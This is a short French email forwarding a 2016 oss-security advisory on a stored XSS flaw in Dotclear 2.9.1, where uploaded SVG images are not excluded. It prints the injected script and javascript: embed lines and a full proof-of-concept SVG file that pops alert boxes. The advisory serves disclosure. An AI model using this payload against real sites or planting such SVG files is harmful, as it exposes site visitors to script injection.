11:56 a.m.
Bonjour,
Pour information, vous êtes peut être (je l’espère) déjà au courant.
A+
Aymeric.
-------- Original Message --------
Subject: [oss-security] Dotclear 2.9.1 XSS vulnerability by SVG
Date: 2016-05-04 08:46
From: limingxing <limingxing(a)360.cn>
To: "oss-security(a)lists.openwall.com" <oss-security(a)lists.openwall.com>
Reply-To: oss-security(a)lists.openwall.com
Hello,
We find an vulnerability about Dotclear 2.9.1 XSS vulnerability by SVG
inc/core/class.dc.core.php
array('media_exclusion','string','/\.(phps?|pht(ml)?|phl)[0-9]*$/i',
Attackers can upload a special SVG picture, for example, add the origin
SVG picture with
<script>alert(location)</script>
<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
<embed xmlns="http://www.w3.org/1999/xhtml"
src="javascript:alert(location)" />
</foreignObject>
After upload the special SVG, attackers can publish an article with this
picture with the herf link to this picture. If someone click the
picture, it will jump to the url of the picture, and this will cause
XSS.
Test on Firefox 45.0.2 （20160407164938）with two alerts.
Test on Chrome 50.0.2661.94m and IE 10.0.10240.16766 with only one alert
(<script>alert (location)</script>)
The picture used for test is
<?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG
Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Capa_1"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 22 20" style="enable-background:new 0 0 22 20;"
xml:space="preserve">
<g>
<path style="fill-rule:evenodd;clip-rule:evenodd;"
d="M0,10.014c0,1.985,1.486,3.632,3.438,3.95l0.688,0.055h3.832v-1.993H4.173
L3.717,11.99C2.399,11.78,2,10.982,1.943,9.939C1.888,8.942,2.831,8.053,4.475,7.486c0,0-1.214-1.617,0-2.633
c1.214-1.016,2.967,0.884,2.967,0.884s2.197-4.176,5.463-3.87c4.929,0.463,4.541,5.917,4.541,5.917s2.566,0.439,2.566,2.155
c0,1.915-2.185,2.087-2.185,2.087h-3.758v1.993h3.806l0.688-0.055C20.514,13.646,22,11.999,22,10.014
c0-1.744-1.148-3.229-2.751-3.778C19.191,2.782,16.289,0,12.719,0c-2.575,0-4.802,1.447-5.866,3.55
C6.35,3.01,5.622,2.67,4.812,2.67c-1.519,0-2.75,1.196-2.75,2.67c0,0.385,0.084,0.751,0.234,1.081C0.936,7.076,0,8.439,0,10.014z"
/>
<polygon style="fill-rule:evenodd;clip-rule:evenodd;"
points="12,20 12,8.581 16,11 16,9 11,6 6,9 6,11 10,8.581 10,20
"/>
</g>
<script>alert(location)</script>
<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
<embed xmlns="http://www.w3.org/1999/xhtml"
src="javascript:alert(location)" />
</foreignObject>
</svg>
This vulnerability was found by chenruiqi of Qihoo 360 Codesafe Team